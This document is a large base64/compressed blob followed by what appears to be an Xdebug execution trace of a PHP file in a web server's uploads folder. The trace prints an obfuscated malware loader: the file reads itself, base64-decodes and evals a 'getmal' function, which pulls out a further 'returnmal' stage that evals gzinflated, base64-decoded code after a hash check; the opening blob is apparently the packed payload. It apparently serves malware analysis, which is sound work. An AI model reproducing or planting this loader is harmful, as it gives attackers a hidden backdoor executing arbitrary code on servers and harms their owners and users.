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

Execution traces

data/traces/23d4fe0d19674f6c668355dd1445aee5_trace-1676251887.9187.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:31:53.816525]
1	0	1	0.000225	393512
1	3	0	0.000310	396184	{main}	1		/var/www/html/uploads/RBBD.php	0	0
2	4	0	0.000329	396184	file	0		/var/www/html/uploads/RBBD.php	3	1	'/var/www/html/uploads/RBBD.php'
2	4	1	0.000379	425448
2	4	R			[0 => '<?php\n', 1 => '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS']
1		A						/var/www/html/uploads/RBBD.php	3	$_getf = [0 => '<?php\n', 1 => '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS']
2	5	0	0.000485	425408	base64_decode	0		/var/www/html/uploads/RBBD.php	3	1	'ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYSwgODYzLCAyOTYpOwogICAgICAgIH0gZWxzZWlmICgk'
2	5	1	0.000516	426208
2	5	R			'function getmal($_g, $_b = 0)\n    {\t\n    \t$_array_length = count($_g);\n    \t$_taking_array = $_array_length - 1;\n    \twhile(1==1) {\n    \t\tif(empty(trim($_g[$_taking_array]))) {\n    \t\t\t$_taking_array = $_taking_array - 1;\n    \t\t} else {\n    \t\t\tbreak;\n    \t\t}\n    \t}\n        $_a = $_g[$_taking_array];\n        if ($_b == 0) {\n            $_f = substr($_a, 863, 296);\n        } elseif ($_b == 1) {\n            $_f = substr($_a, 1159, 40);\n        } else {\n            $_f = trim(su'
2	6	0	0.000593	430568	eval	1	'function getmal($_g, $_b = 0)\n    {\t\n    \t$_array_length = count($_g);\n    \t$_taking_array = $_array_length - 1;\n    \twhile(1==1) {\n    \t\tif(empty(trim($_g[$_taking_array]))) {\n    \t\t\t$_taking_array = $_taking_array - 1;\n    \t\t} else {\n    \t\t\tbreak;\n    \t\t}\n    \t}\n        $_a = $_g[$_taking_array];\n        if ($_b == 0) {\n            $_f = substr($_a, 863, 296);\n        } elseif ($_b == 1) {\n            $_f = substr($_a, 1159, 40);\n        } else {\n            $_f = trim(substr($_a, 1199));\n        }\n        return ($_f);\n    }'	/var/www/html/uploads/RBBD.php	3	0
2	6	1	0.000622	430568
2	7	0	0.000631	430216	getmal	1		/var/www/html/uploads/RBBD.php	3	2	[0 => '<?php\n', 1 => '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS']	???
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	3	$_array_length = 3
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	$_taking_array = 2
3	8	0	0.000705	430216	trim	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	6	1	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	8	1	0.000749	430248
3	8	R			'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	12	$_a = '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	9	0	0.000841	430216	substr	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	14	3	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'	863	296
3	9	1	0.000887	430696
3	9	R			'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	14	$_f = 'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9'
2	7	1	0.000943	430600
2	7	R			'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9'
